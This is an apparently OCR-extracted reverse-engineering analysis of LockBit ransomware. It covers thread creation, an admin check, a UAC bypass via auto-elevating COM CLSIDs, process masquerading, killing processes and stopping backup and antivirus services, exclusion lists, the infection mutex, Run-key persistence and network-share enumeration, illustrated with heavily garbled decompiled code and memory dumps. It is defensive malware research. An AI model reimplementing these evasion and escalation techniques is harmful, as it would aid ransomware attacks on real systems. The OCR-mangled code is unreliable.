local_8 = 1 << {counter & Oxlf);
HtSetInformationThread (uVprd, 4,8local &,4);
HtSetInformationThread (uVars, 4,&local 5,407

} while {counter < *({local_c + 100})):
1

mw_fill mem with constant (sDAT 00429260,0,0x80);

get_host_infc();

} while ({counter < 0xl1l);:
J* TIOCP initialize>>d! */

1

al_1d = 07

Creati'ng‘ éompletion /O Ports

The malware has each function of its behavior separated in a subroutine, it creates an I/O
completion port by calling CreateIoCompletionPort then, it will enter a loop to create a
bunch of threads by calling either one of the undocumented and more stealthier following
APls NtCreateThreadEx or RtlCreateUserThread and it will setthe entry point of each
thread to one of the subroutines. After that, NtSetInformationThread will be called for
setting the thread priority for each created thread.
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https://docs.microsoft.com/en-us/windows/win32/fileio/createiocompletionport
http://pinvoke.net/default.aspx/ntdll/NtCreateThreadEx.html
http://pinvoke.net/default.aspx/ntdll/RtlCreateUserThread.html
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntsetinformationthread

if [NtCreateThreadEx == 0x0) |

H o

[+

L eadEx stack = 0x72457£31;
30 = Ox45505443;
‘6 = 0Ox43598554;
22 = 0x74555054;

= COun + 1:
i
local 12 & 0xff;
Oxl4;
= 0r
Rt
x6C;
eadEx name = &NtCreateThreadEx stack + 1:
x74
local o = 1007
local_b = 0x6C;
ntdll handle = GetModuleHandled(sntdll):
HtCreateThreadEx = GetProcAddress(ntdll handle,NtCreateThreadEx namej;
if (HtCreateThreadEx == 0x0) |
iVarZz = RtlCreatelUaerThread (0xffffffff,0,0,0,0,0,3tart _address, start_parameter, elhread handle,

gclient id)r
goto LAB 0040ccee;
}

iVarZ = (*NtCreateThreadEx) (eThread handle, Oxl1fffff 0, Oxffff£ffff, start address,start_parameter, 0,0

Yy
L= 1)
=31
[
[ R
E

-

[ R ]
L]

L= 1)

, 0X
LAR 0040ccee:

if (iVarz 1= 0) |

!
Threads Creation

Privilege Escalation

Firstly, LockBit checks its privileges by getting the process token by calling
NtOpenProcessToken then, it queries that token via NtQueryInformationToken after
that, it creates a user security identifier (SID) that matches the administrator group by
passing WinBuiltinAdministratorsSid to CreatewellKnownSid . Finally, it calls
CheckTokenMembership to check whether the current process privileges include the
Administrator privileges or not.
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https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntopenprocesstoken
https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntqueryinformationtoken
https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-createwellknownsid
https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-checktokenmembership

VarZ = NtOpenProceaaToken (OxEffffffff, 8, slocal_10)r
if {iVar2 == 0) |

ckSid = 0Ox4d4;

r3 P f 5
if [{EVar3 '= 0) && (EVari = CheckIockenMembership{0x0,created s3id,&local E),

| _ ari I=0)) |
if (local & == 0} |
iVar2Z = NtQueryInformationToken(local 10,0x13,slocal 14,4, sck3id):
if ([iVar2

0) && {(uVarl '= 0x522)) && (uVard = uVarl, 0 « uVarl)) |

1

EVar3i = CheckITokenMembership(local 14,created sid, elocal ) :
if (EVari == 0) gotoc LAB 0040cedc;

if ({local & == 0) goto LAB 0040cf43;

1
*param 1 = 1;
goto LAB 0040cf£43;

1
LEB 0040ce8c:

LAB 0040cf43:
if {local 10 !'= 0x0) |
CloseHandle (local_10);
!
if ({local 14 !'= 0x0) |
CloseHandle (local 14):
!

return uVard;
éhecking Privileges
If it doesn’t include the Administrator privileges, LockBit will perform a UAC bypassing by
calling a windows COM objects that can auto-elevate, and for masquerading, LockBit
implements a publicly available function called supMasqueradeProcess which allows the
malware to conceal its process information by injecting into a process that runs in a trusted
directory, it choose explorer.exe to be its target.
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https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://docs.microsoft.com/en-us/windows/win32/com/the-component-object-model#:~:text=A%20COM%20object%20is%20one,an%20interface%20are%20called%20methods.
https://github.com/hfiref0x/UACME/blob/master/Source/Akagi/sup.c

iVard = *(*{in_F3_OFFSET + Oxl13&) + 0x30);
ALLOCRTED MEM = 0x0;
mem size 0x1000 = Ox1000;

iVars = NthllocateVirtualMemory (0xffffffff, eALLOCATED MEM,0,smem size O0x1000,0x3000,4);

if (-1 « iVarg) {
GetWindowsDirectoryW (windows directory, 0xl04);
ptr_windows directory = windows directory:
ptr_allocated mamory = ALLOCATED MEM:
do |
WVard = *ptr windows_directory:
ptr_windows_directory = ptr windows_directory + 1;
*ptr_allocated mamory = Wvard;
ptr_allocated mamory = ptr allocated mamory + 1r

/* this loop copies the windows directory to the allocated

C:\Windows */
} while (WvVard '= L"0");
_explorer.exe = 0x63003%;

local_56 = Oxb5ar
guitacklld. 2 4 = 0x47005a;

local_54 = O0x47:

local_6c = 0x53004fL;
local_52 = Oxdf;
local_68 = 0x4d0050;
local 50 = 0x53;
local_64 = Ox4d005ar
local_4e = 0x50;
local &0 = 0x5a0011;
local_4c = Oxdd:
local 5c = 0x5a0047;

local_4a = Ox5ar
locel 58 = Ox3f;
local_48 = Oxdd:
local_446 = 0xll:
local_44 = 0x5ar
local_42 = 0x47;
locel_40 = Oxbar
local_3e = 0x3£:
local_3c = 07
uvarg = 07
do {
* [explorer.exe + uVarf * 2 + 2) = explorer.exe[uvaré * 2 + 2]
uVarg = uVarg + 1:
} while (uVars < 0xlb});
Tmm=1 2~ — M=

supMasqueradeProcess Implementation

~ 0x3£;

region of memory
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}
BtlicouirePebLock():

local 3a = 0x330056;
local_le = 0Ox567
local 36 = 0x26002e;
local _lc = O0xl13:
local 32 = 0x3%003ar
local_la = Ox3af
local _Ze = 0x330024;
local 18 = O0x33:
local 2a = 0xT780024;
local_la = 0Ox207
local 26 = 0x2e0033;
local 14 = 0372
local 22 = 0x560033;
local 12 = Ox227
local 10 = Ox3L:

local_a = Oxécr
local & = 0x17;7
local & = 0F
f* "Elevaticn:Administrator!new:" */
uvars = 0f
do |
*({elocal_ Varg * 2 + 2) = *{&local_3a + uVard * 2 + 2) ~ Ox56;
uVarf = uVarg + 1;
} while {uVarf < 0x19)r

locel & = 07

BtlInitUnicodeString (* {iVar5 + Ox10) + Ox38,ALLOCATED MEM):
BEtlInitUnicodeString(*{iVar> + 0xl10) + Ox40,slocal _3a + 2);
EtlEReleasePeblLock()
LdrEnumerateloadedModules (0, FUON_0041eafd, 0)

return;

For the actual UAC bypassing, LockBit will call CoGetObject with the following CLSIDs:

e {3E5FC7F9-9A51-4367-9063-A120244FBEC7}
e {D2E7041B-2927-42fb-8E9F-7CE93B6DC937}

* (undefined *)puVar?® = *{undefined *)puVart;
puVarf = {undefined4 *) ({int)puVarf + 1);
puVar? = (undefined4 *) {{int)puVar? + 1);

/* Elevaticn:hdministrator!new: {3ESFCTFO-9A51-4367-9063-L120244FBECT]} */
HVars = CoGetObject(local Zac,&local ad,param 2,&local B);

*param 4 = local &;
return HVars:
1

Calling CoGetObject
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Address | Hex ASCIT

0O01BFESC |53 00 &F 00|66 00 74 00|77 OO0 61 00|72 00 &5 OO|S.0.T.Tt.w.a.r.e.

O018FEAC |5C OO0 4D 00|69 00 &3 00|72 00 6F 00|73 00 &6F OO(%.M.1.C.Ir.0.5.0.

0O01BFEBC |66 OO0 74 00|5C 00 57 00|69 00 6E 00|64 00 6F OO|FT.T.%W.W.1i.n.d.o.

OD1BFECC |77 OO0 73 00|20 0D 4E 0O 43 00 Fo OD|w.s. .MN.T.N.C.u.

OD18BFEDC |72 00 72 00|65 0D &E OD|74 00 56 00|65 0D 72 00| r.r.e.n.t.vV.e.r.

0O018FEEC |73 00 &9 00|6F 00 &E OO|5C OO0 49 00|43 00 4D OO|(s.i.0.n.%.I.C.M.

0018FEFC |5C 00 43 00|61 OO0 &C 0OO(69 OO0 &2 00|72 00 &1 OO|%.C.a.1l.i.b.r.a.

0018FFOC |74 00 &2 0O0|6F 00 &E OO|00 OO OO OO|0Q0 OO OO0 OO(T.7.0.M...enan..

O018FFI1C (7B OO0 44 00|22 00 45 00|37 00 20 00|34 00 21 00| {.D.2.E.7.0.4.1.

OO18FF2C | 42 00 2D 00|22 00 2O Q0|22 Q0 ZF QQ|200 00 24 OO|B.-.2.92.2.7.-.4.

0018FF3C| 32 00 &6 00|62 00 2D OO|38 OO0 45 00|29 00 46 00| 2.T.b.-.8.E.9.F.

OO0O1BFF4C (2D 00 Z7 Q0|43 00 45 00|39 00 33 00|42 00 286 00|-.7.C.E.9.3.B.6.

0OD18FF5C | 44 00 43 00|39 0D 33 00|27 Fi 00 00 OO OO|D.C.9.3.7 . Fuuuus

O018FF6C (80 FF 40 00|20 00 40 00|95 FF 16 00|47 00 64 00| .ya, .&..¥..G.d.

DO1BFF7C |92 FF 9F FF(AE FF 98 FF (74 00[DO) FF (DF 00 75 00| .¥.¥Vey.¥t L. . .

0018FFSC | B7 FF 00 00 FE|D4 FE 18 00|12 98 EA FD| -¥...ay~0¥.... &7}

OO18FFSC | Q0 EOQ FD FE|8BO &2 F2 7C|00 OO0 OO OO|0O0 OO OO OO gym.bul..: .....

DO1BFFAC ZE|DO 00 0O OO|4E_FC ES 7S|00 00 0D 00| .8¥~....0|8X....

10:05:26.06070... W~ svchost.exe 772 @ RegQuenValue HKCANCLSIDN[IESFCTFS-9A51-4367-9063-A120244... SUCCESS Type: REG_SZ. Length: 78, Data: {3E5FCTFS-3A51-4367-9063-A120244FBECT]

10:05:26.14015... % svchost exe 772 @ RegQuenVale HKCR\Wow6432Node \CLSID\[IESFCTFS-9A51-436... SUCCESS Type: REG_SZ. Length: 78, Data: {3E5FCTFS-3A51-4367-9063-A120244FBECT}

10:05:26.57067... ®- svchost exe 652 ﬂﬁeruery\«’aiue HKCR'\CLSIDN{IESFCTFS-9A51-4367-3063-A120244... SUCCESS Type: REG_SZ, Length: 78, Data: {3E5FCTFS-9A51-4367-9063-A120244FBECT]

10:05:26.57188... Esvchust.exe 652 ﬂﬁegOuery\«’aiue HKCR\WowB432Node \CLSIDN{3ESFCTFS-9A51-436... SUCCESS Type: REG_SZ, Length: 78, Data: {3E5FCTFI-9A51-4367-9063-A120244FBECT]

10:05:26.71445... B-'svchost exe 652 &2 Process Create  C:\Windows'\SysWOWE4\DiiHost exe SUCCESS PID: 1516, Command line: C:\Windows"\SysWOW84'DllHost exe /Processid:-{3ESFC7FS-3A51-4367-3063-A120244F
10:05:26.71448... B’ DiiHost exe 1516 &% Process Start SUCCESS Parent PID: 852, Command line: C:\Windows'SysWOWE4\DilHost exe /Processid:{3E5FC7FS-9A571-4367-5063-A120...
10:05:44.98636... B svchost exe 652 &% Process Cregle  C\Windows'\SysWOWE4\DIHost exe SUCCESS PID: 5060, Command line: C:'\Windows"SysWOWE4'\DllHost exe /Processid:{3ESFC7FS-3A51-4367-3063-A120244F .
10:05:44 98637... ® DlHost.exe 5060 &% Process Start SUCCESS Parent PID: £52. Command line: C:\Windows"SysWOWE4\DilHost exe /Processid:{3ESFCTFS-9A51-4367-5063-A120...

Querying The CLSIDs and Creating The dllhost.exe procsses

Killing Processes

LockBit calls CreateToolhelp32Snapshot for getting a snapshot of the running processes
then, it uses Process32First and Process32Next to enumerate the snapshot. For each

process, it'll compare its name against a list of a process, and if it matches, it well pass the

process handle that it got by calling OpenProcess to TerminateProcess to terminate the

process. The list of the processes was also encrypted using XOR .
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https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32first
https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-process32next
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess
https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-terminateprocess

bOOL __Tastcall terminate_a process (DWORD process_id)

int snapshot_handle;

int iVarl;

DWORD current process_idr
HANDLE pvVari;

BOOL BEVari;

code *CloseHandle;
undefinedd4 local lZcs
undefined local 128 [20]r
DWORD local 114;

mw_fill mem with conatant{local 122,0,0x124);
local 12c = Ox128;
snapshot_handle = CreateToolhelp325napshot({2,0):
CloseHandle = CloseHandle_exref;
if (snapshot_handle != -1} {

iVarl = Process3ZFirat(snapshot_handle, &local_lZc);

while ({iVzrl != 0) {

if ({{local_ 114 == process_id) ==
{current process_id = GetCurrentProcessId({), local 114 !

current proceas id)) se

(pvVar? = OpenProceas (0x1f£ffff,1,1local 114), CloseHandle = CloaeHandle exref, pvVarZ != 0x0
R
TerminateProcess (pvVar2,1l):
CloseHandle = CloseHandle exref:
::ClozeHandle (pvWVar) ;
}
iVarl = Proceas32Next {snapshot_handle, &local_l1Zc):
}
(*CloseHandle) (snapshot_handle) ;
}
current_process_id = GetCurrentProcessId():
if ({process_id != current_process_id) &e
(ovVarsZ = OpenProcesas{0xl1fffff,]1,process_id), pvvarz !'= 0x0)) {

EVar3 = TerminateProcess(pvVarid,l);
::CloseHandle (pvWard) ;
return EVari;

}

return 0;

Process Termination
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. 8DE5424 3IF0G0000 Tea eax,dword ptr ss:[lesp+e3Ff)

. 898424 FEODOOOO mov dword ptr ss:[esp+DF&],eax [esp+DFE] : "wxServer™

. 8D58424 C2070000 lea eax,dword ptr ss:|[esp+7Cz[)

- 838424 FCODOOOO mov dword ptr ss:[fesp+DFCH, eax [esp+DFC] : "wxServerview"

. 808424 CFOL0000 Tea eax,dword ptr ss:[esp+sCFf)

. 8958424 000EDODOO mov dword ptr ss:[esp+E0D],eax [esp+EDD]:"Sqlservr™

- 808424 ECO70000 lea eax,dword ptr ss:Qesp+7ECH

. 598424 040E0000 mov dword ptr ss:[fesp+E04],eax [esp+EQ4] : "RAQUI™

. 8D8424 11070000 lea eax,dword ptr ss:[esp+711f]

ol . 958424 080EOODOD mov dword ptr ss:[esp+E0s],eax [esp+EDB]: "supervise"

-[&?akpmntNDtSet 2424 0QBOG0OOOO lea =ax,dword ptr ss:[esp+&0E]

. g 898424 0OCOEDOOO mov dword ptr ss:[esp+eEocC],eax [esp+EOC]: "Culture”

. 8D5424 B4050000 lea eax,dword ptr ss:|[esp+3E4]

- 838424 100E0000 mov dword ptr ss:[fesp+E10f,eax [esp+E10]: "RTVscan™

. 805424 49060000 Tea eax,dword ptr ss:[lesp+e4af)

. 895424 140E0000 mov dword ptr ss:[lesp+E14],eax [esp+El4]: "Defwatch™

- 808424 5D0OG0OO00 lea eax,dword ptr ss:[Qesp+&50[)

. 598424 150E0000 mov dword ptr ss:[fesp+E1s],eax [esp+E18]: "sqlbrowser"

. 8D8424 EDOSO0000 lea eax,dword ptr ss:|[Jesp+sED[]

. 8958424 1COEDODOO mov dword ptr ss:[lesp+EiC],eax [esp+EIC] : "winword”

- 808424 16080000 lea eax,dword ptr ss:[Qesp+316]

. 898424 200E0000 mov dword ptr ss:[lesp+Ez0f,eax [esp+E20]: "QEW3Z"

. 8D58424 E7050000 lea eax,dword ptr ss:|[Jesp+5E7[)

- 8938424 Z240E0000 mov dword ptr ss:lesptEz4], eax [esp+E24]: "QBDEMgr™

. 805424 53060000 Tea eax,dword ptr ss:[esp+es3f]

. 898424 2B0ED000 mov dword ptr ss:[lesp+Ezs],eax [esp+E28]: "gbupdate™ |‘

- 808424 11040000 lea eax,dword ptr ss:lesp+alill) -

. 898424 2C0EQOQOQOQ mov dword ptr ss:|fesp+E2C],eax [esp+E2C] : "QBCFMonitorsery:

. 8D8424 1C070000 lea eax,dword ptr ss:|[Jesp+71cC[)

. 8958424 300E0000 mov dword ptr ss:[esp+E30],eax [esp+E30]: "ax1bridge"

- 808424 TAODTO000 lea eax,dword ptr ss:Qesp+77al

. 838424 340E0000 mov dword ptr ss:|fesp+Ez4],eax [esp+E34]: "QBIDPSerwvice”

. 8D5424 ES070000 lea eax,dword ptr ss:|[Jesp+7ES[)

- 838424 3B0E0000 mov dword ptr ss:[fesp+Ezs],eax [esp+E38]: "httpd™

. 8D8424 ZEOQ70000 Tea eax,dword ptr ss:[lesp+72E[]

. 898424 3ICOEDOOO mov dword ptr ss:[lesp+EzC],eax [esp+E3C]: "fdlauncher™

. 8E3424 30060000 mov eax,dword ptr ss:llesp+&30[J [esp+630]: "MsDtSrvr™
T 898424 400EDDOQ mov dword ptr ss:[esprE40],eax

e ===y e e e s

Process Names After Being D-écrypted In Membry
And here is a list of the process that will be terminated if exists:

wxServerwxServerViewsqlmangrRAguisuperviseCultureDefwatchwinwordQBW32QBDBMgrgbupdateax
CloudAdobe Desktop ServiceCoreSyncAdobe CEF HelpernodeAdobeIPCBrokersync-
taskbarsync-
workerInputPersonalizationAdobeCollabSyncBrCtrlCntrBrCcUxSysSimplyConnectionManagerSin
exp-engine-
serviceTeamViewer_ServiceTeamViewertv_w32tv_x64TitanVSsmsnotepadRdrCEForacleocssddbsnm

Stopping Services

LockBit has a list of services that will try to stop by calling OpenSCManagerA to establish a
connection to the service control manager on the local computer

then, it loops over a list of predefined services passing each service to OpenServiceA to
check the existent of that service, if the service exists, it'll check its status by calling

QueryServiceStatuséx and it will call ControlService with the parameter
0Xx00000001:

SERVICE_CONTROL_STOP to stop the service. In order to not cause any crashes to the
system, LockBit will stop all the dependent services by calling EnumDependentServicesA
before stopping the target service. Those services are mostly backup services, anti-virus
services, and other services that may lock some files due to having handles to them.
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https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openscmanagera
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-openservicea
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-queryservicestatusex
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-controlservice
https://docs.microsoft.com/en-us/windows/win32/api/winsvc/nf-winsvc-enumdependentservicesa
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DO40FFE2
DO40FFE3
DO40FFES
DO40FFEG
DO40FFEC
DO40FFEE
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B3C4 08

57

S5B3D 45004200

mov dword ptr ss:[esp+DEC],eax

call dword ptr ds: [<&GetTickCount>]
push 2C

push dword ptr ss:[lespt+esi*4+CE4]]
mov dword ptr ssifesp+14],eax

push dword ptr ss:|esp+63E])

€all dword ptr ds:[<&0pensServicea=]
mov edi,eax

test edi,edi

je anghami. 410223

T1ea eax,dword ptr ss:|fesp+370§

push eax

push z4

Tea eax,dword ptr ss:|fesp+CeCf]

push eax

push 0

push edi

call dword ptr ds: [<&QueryservicestatusExs=]
test eax,eax

jne anghami.40FFCE

push edi

mov edi,dword ptr ds:[<& loseServiceHandlex]
Eg2ll edi

jmp anghami. 410229

mov eax,dword ptr ss:|lesp+C&a])

cmp eax,1

jne anghami. 410041

movaps xmmd,xmmword ptr ds: [424600]
KO BCX,ecx

movups xmmword ptr ss:|esp+BSC, xmmO
mov dword ptr ss:[fesp+BeC]],coD1s
nop word ptr ds: [eax+eax],ax

mov al,byte ptr ss:|[flesp+BaC]

xor byte ptr ssifesprecx+BsDf,al
inc ecx

cmp ecx,12

jb anghami. 410000

push dword ptr ss:|lesp+esi~4+CEOJ
lea eax,dword ptr ss:|flesp+Esil]

mov byte ptr ss:flesp+B73Q,0

push eax

call anghami.40A0B0

add esp,8

push edi

mov edi,dword ptr ds:[<&ClosesServiceHandle=]

Stopping Some Services
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O018F 496 | "MSSQLEKAV_CS_ADMIN_KIT"

O018F4C6 | "MSSOLServer ADHel per 100™

0018F44E | "SOLAgent KAV _CS_ADMIN_KIT™

0018F75E | "msTtesgl-Exchange"

O018F4DE | "MS5QL SMICROSOFTE##55EE™

O018FSEA | "MSSOLESESMONITORING™

0018F783 | "M35QL3SHAREPOINT™

O018F3E9 | "MSSOLFDLauncher $SESMONITORING™

0018F413 | "MSSQLFDLauncher $SHAREPOINT"

0018F4AE | "SOLAQentSSESMONITORING™

O018FSCF | "SOLAgent ESHAREPOINT™

O01BF2D4 | "QBFCService"

O018F34F | "OBVSS"

0018F225 | "YooBackup™

0018F267 |return to 0018F267 Trom 2Z87DSEE4

O018F29E | "vss™

0018F119 | "sqgl"

O018F2CE | "swCy™

O018F2FBE | "MSS0L™

O01BF1CL | "MSSQLE"™

0018F1CY | "memtas™

0018F1D1 | "mepocs™

O018F1D9 | "sophos™

0018F33A | "veeam™

0018F1E1 | "backup"

0018F333 | "bedbg™

O018F241 | "PDVFSService”

0018F53A | "BackupExecVssProvider™

0018F42F | "BackupExecAgentAaccelerator™
0O018F466 | "BackupExecAgentBrowser™

1| 0018F3D8 | "BackupExecDiveciMediasService™

0018FS5E4 | "BackupExeclobEngine™

0018F3F6 | "BackupExecManagementService”

O018F57E | "BackupExecRPCService”

O018F129 | "MVAFrmor™

0018F230 | "MVarmora4"™

O018F38A | "stTc_raw_agent™

O018F21B | "VSHNAPVSS"

O018FSATF | "VesamTransportsve™

0018F47E | "veeamDeploymentservice™

O018F2AD | "VeesamNF55wc"

O018F310 | "AcCronisAgent”

O018F2CE | "ARSM™

0018F286 | "Acrsch2swc”
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Services Names After Being Decrypted In Memory

Here is a list of the services that LockBit tries to stop:

wrapperDefWatchccEvtMgrccSetMgrSavRoamSglservrsqglagentsqladhlpCulserverRTVscansqglbrows
usbarbitator64vmware-

converterdbsrv12dbeng8MSSQLSMICROSOFT##WIDMSSQL$VEEAMSQL2012SQLAgent$VEEAMSQL2012SQLBY
ExchangeMSSQL$MICROSOFT##SSEEMSSQL$SBSMONITORINGMSSQL$SHAREPOINTMSSQLFDLauncher$SBSMON

Excluding Files And Directories

To avoid any system crashes and to make sure that the system has functional browsers for
connection and negotiation, besides avoiding entering an infinite loop of encrypting the
already encrypted files and not to encrypt the ransom-notes, LockBit has a list of files,
folders, and extensions exclusions.
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local 418 = 0x7el02e;
local 414 O0x730077;

[
]
ail
=
s
=
=]
I
=]
LY

/* tor browser */
local 3ad4 = 0x6f£0074;

local 3a0 = 0x200072;
local 3%c = 0x720062;
local 398 = 0x77006%;
local 394 = 0x650073;
local 390 = Ox72;

local 30 = 0x6L£0062;
o = 0xT74006L;
= =10z
/* windowsnt */
= 0x690057;
= Ox&400&e;
= 0x7700&L;
0x200073;
= 0x740068e;
= 07

F* mabuild */

local 2%9c = 0x730044;
local 298 = 0x750062;
local 294 = Ox6c0069;
local 2580 = 1007

F* microsoft */
local 338 = 0x690044;
local 334 = 0x720063;
local 330 = 0x73006£;
local 32c = 0x6a00&L;
local 328 = 0x74;
F* gll users */
local 34c = 0x6c0041;
local 348 = 0x20006c;
local 344 = 0x730075;
local 340 = 0x720065;
local 33c = 0x73;
f* aystem volume information */
local 5Sa4 = 0x790073;
0 = 0x740073;
c = Ox6d0065;
A List Of Exclusions

Here is the list of exclusions:

windowsintelrecycle.bintor browserwindowsntmsbuildmicrosoftall userssystem volume
informationperflogsgoogleappdatamozillamicrosoft .netmicrosoft sharedinternet
explorercommon filesopera intelwindows
journalntldrntuser.dat.loghootsec.bakautorun.infthumbs.dbiconcahce.dbrestore-my-
files.txt.386.cmd.ani.adv.theme.msi.msp.com.diagpkg.nls.diagcab.lock.mpa.cpl.mod.hta.i

Mutex Creation
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For avoiding multiple infection on the same host, LockBit creates the following mutex
Global\{BEF590BE-11A6-442A-A85B-656C1081E04C} . Firstly, it will try to open that mutex
by calling OpenMutexA , if it succeeds, which means that host is already infected, it will exit
the process, otherwise, it'll call CreateMutexA for creating the mutex then, it'll proceed with
the rest of the malware functionality.

0

gl 33 = 0x5e3d7631;
ck47 = Ox6d545053;

[
ot

[
Mmoo

=
ot

= H
ot 0

[
LW wm o
o

=]

= glocal_ 33 + uVar3d + 17
*pEVarl = *pkbVarl ~ 0x3l;
uVari = uVar3 + 1:
} while {uVar: < 0x2d):
/* Globalh [BEFS90BE-1126-442R-RE5B-656C1021E04C) */

pvVarz = enMutexh (0,0, &local_ 33 + 1);

if {pvVarz == 0x0) {
CreateMutexd (0x0,0, elocal_33 + 1);
return 0;

}

return 1;

}

ML_J_tex Creation

g e e —— ¢ e e e m—— ———— o — R

EWmiPrwiderSubSystemSpecialHostlob lob
IP,?; {BEFSS0BE-11A5-442A-AB5E-656C1081E04 C} Mutant
Lo,b 3af86ebi-fed-4d0a-b7Eb-9elbchbiafhT Mutant

B Windowel IndateTracinabutes Putant

37 32 46 41|33 39 35 36|35 30 37 44(7D 00 31 47 (72FA3356507D}.1G
BC 6F 62 61 |6C 5C 7B 42|45 486 35 39|30 42 45 20 |lobal’{BEFSS0BE-
21 31 41 26|20 324 34 32|41 2D 41 28(35 42 2D 36| 11A6-442A-AB5BE-6
35 26 43 321(30 2B 31 45(30 24 43 7D (00 BB FF 18(S56C1081E04CE. . V.
00 EF B3 41|00 00 OO0 00|00 OO0 OO0 OO(00 OD EO FD|.7%A....vueu.. ay

kel 1

Persistence

In order to maintain a persistence and to service reboots, LockBit creates the following
registry key
HKCU\SOFTWARE\Microsoft\Windows\CurrentVaersion\Run\X01XADp001 with a value of

24/31


https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-openmutexw
https://docs.microsoft.com/en-us/windows/win32/api/synchapi/nf-synchapi-createmutexa

it's path on

disk.

(] =3 £ -

|l | g

[* S0FIWARE\Microsoft\Windows\CurrentVersion\ERun */

local_&d = 0;
if (Lvarz I=10) {
return falase;
1
KO1¥ADpOO0l = Ox5&000er
local 34 = Oxe;
local 48 = 0x3f0041;
local_ 32 = 0x655cs
local_44 = 0x4£0056;
local_ 30 = Ox6f6&3;
local 40 = 0x7TelO4a;
local 2e = Ox6578;
local 3c = 0x3e0041;
local_2c = 0x206ar
local 38 = Oxe003L;
local_2& = Ox7T56L;
local 28 = Ox6fT7ar
local 26 = 0x757cy
local_ 24 = 0x2060;7
local_22 = Ox6565;
counter = 0r
do {

* [gH0O1XRDp00]l + counter * 2
counter = counter + 1;
S* RO1XADROO01 */f
} while {counter < 0xl5);
local 20 = 07

if (param 1 == 0} {

+ 2)

local_68 = 0x104;
local_le = 0x220074;
local_la = 0x730025;
local_16 = 0x22;
local_12 = 07
local 10 = 0x53;
local_ e = 0x72r
local_c = 0x&9;
local_a = 0Or

ivars =

if ({Lvarz 1= 0) ||

* [eX01XADPOOL

+ counter *

2+ 2

LVarZ = RegCreateKeyExA(0x80000001, &locel %0 + 1,0,0x0,0,0x2001E, Ox0, sreg_key handle,slocal al):

~ Oxe:

= waprintiW(local Zac,&local le + 2,*(*({*(in_F5 OFF3ET + O0x30) + 0x10) + Ox3c)):
RegQueryValueExW(reg_key handle, eX01¥2Dp001 + 2,0x0, &local_6c,local_ 4b4, &local &E):
(iVard = lastrcmpiW(local 4bd4,local Zac), iVard !'= 0)) |

iVard = RegSetValueExW({req key handle, &X01¥20p001 + 2,0,1,1locel Zac,iVard * 2):

Maintaining Persistence

45 Dump 1 | #4J Dump 2 | &4d Dump 3 | BLJ Dump 4 | 4 Dump 5

Address

OD18FE7Z
0018FEB2
0O018FB92

After Decrybtin

g The Key In Memory

x=| Locals | ﬂ‘l'
Hex ASCIT -
53| 4F 46 54|57 41 52 45|5C 4D 69 63|72 6ff 73 6F | SOFTWARE“Microso
66 74 5C 57|69 6E 64 6F |77 73 S5C 43|75 7§ 72 65| TrWwindows'Curre
6E 74 56 65|72 73 69 6F|6E 5C 52 75 ntversionyRu

OD18F7 24
D018F738
0018F73C
O018F7 40
OD18F7 44
0018F748

00000128 a
0018FBCZ | L"XO1XADpO01"
00000000 | —

0018FBAD

0018F758 | " =\ x18"

0018FBA4

77C72B08 | advapi32.77C72E08
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Shutdown Prevention

In order to ensure that the encryption operation didn’t get disrupted even by shutting the
system down, LockBit will create a shutdown block reason by calling

ShutdownBlockReasonCreate .

i3 ShutdownBlockReasonCreate stack = 0x6a774clf:

i4 uStack3® = 0x68707beb;

i5 uStack3d = 0x70735d471;

16 uStack3l = 0xTa4d747cy

i7 local 1b = 0x71706c7e;

ig local 17 = OxTeTaedScy

i9 local 13 = OxTabbr

0

1 rl = (byte *) ({int)e&ShutdownBlockReasonlreate stack + uVarZ + 1);
2 *pEVarl = *pkVarl ~ 0xl1f;

3 uvar? = uvar? + 1;

4 } while {uVarz < 0x19):

5 local 11 = 0;

& local 10 = 0Ox34;

7 locel 9 = 0;

g local £ u's

9 local b = 0x33;

id lpProclame = (LPCSTR) {{int)&3hutdownBlockBEeason _stack + 1);
il local & = 0x73;

i2 local d = 0xé5;

i3 local o = 0x72;

14 local &8 = 0x32;

o hModule = GetModuleHandlef{elocal £);

6 ShutdownBlockReasonCreate = GetProchddreas(hModule, lpProcHame) »

awitch(param 1) {

ig case 0:

i9 return 1;

i case 1:

i1 case 2:

id case 33

i3 case 6:

id if ([ShutdownBlockBEeasonCreate != (FARPROC) 0x0)
15 Vard = 0f

if pHVars = GetConscleWindow () ;

i7 (*ShutdownBlockEeasonlreate) (pHVar3,uvard) ;
ig }

19 3elf_delete():

'a Sleep(999949) ;

'1 return 1;

2 default:

'3 return 0;

Creating Shutdown Block Reason

Netwrok Enumeration
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https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-shutdownblockreasoncreate

In order to ensure infecting as many victims as possible, LockBit scans the attached drivers
and network shares and when it finds files that meets its previously discussed requirements,
it'll also encrypt those files.

LockBit starts this function by calling GetLogicalDrives to git a bitmask representing the
currently available disk drivers then, it loops over them and passed them to

GetDriveTypeW to determine the type of the driver whether it is a removable, fixed, CD-
ROM, RAM disk, or network drive, it specifically looking for ©x4: DRIVE_REMOTE . Once it
finds a networked drive, it calls WNetGetConnectionW to retrieve the name of that network
resource, then it will do a recursive calls to WNetOpenEnumW and WNetEnumResourcew
enumerate the folders and files of that network resource.

list_of logical driwver letters = GetLogicalDriwves():
uVard = Oxla;
local 18 = 0x3a005a;
local 14 = 0;
do {
uVar3 = uVar3d - 1;
